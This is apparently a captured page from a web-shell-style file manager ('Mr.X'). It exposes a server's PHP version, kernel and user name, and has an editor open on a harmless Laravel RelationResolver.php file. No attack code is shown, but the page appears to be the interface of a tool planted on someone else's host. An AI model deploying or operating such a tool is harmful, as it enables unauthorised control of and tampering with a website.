🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:RelationResolver.php
<?php namespace Illuminate\Http\Resources\JsonApi; use Closure; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; /** * @internal */ class RelationResolver { /** * The relation resolver. * * @var \Closure(mixed):(\Illuminate\Database\Eloquent\Collection|\Illuminate\Database\Eloquent\Model|null) */ public Closure $relationResolver; /** * The relation resource class. * * @var class-string<\Illuminate\Http\Resources\JsonApi\JsonApiResource>|null */ public ?string $relationResourceClass = null; /** * Construct a new resource relationship resolver. * * @param \Closure(mixed):(\Illuminate\Database\Eloquent\Collection|\Illuminate\Database\Eloquent\Model|null)|class-string<\Illuminate\Http\Resources\JsonApi\JsonApiResource>|null $resolver */ public function __construct(public string $relationName, Closure|string|null $resolver = null) { $this->relationResolver = match (true) { $resolver instanceof Closure => $resolver, default => fn ($resource) => $resource->getRelation($this->relationName), }; if (is_string($resolver) && class_exists($resolver)) { $this->relationResourceClass = $resolver; } } /** * Resolve the relation for a resource. */ public function handle(mixed $resource): Collection|Model|null { return value($this->relationResolver, $resource); } /** * Get the resource class. * * @return class-string<\Illuminate\Http\Resources\JsonApi\JsonApiResource>|null */ public function resourceClass(): ?string { return $this->relationResourceClass; } }
Save Changes
Cancel
Create New File
Create New Folder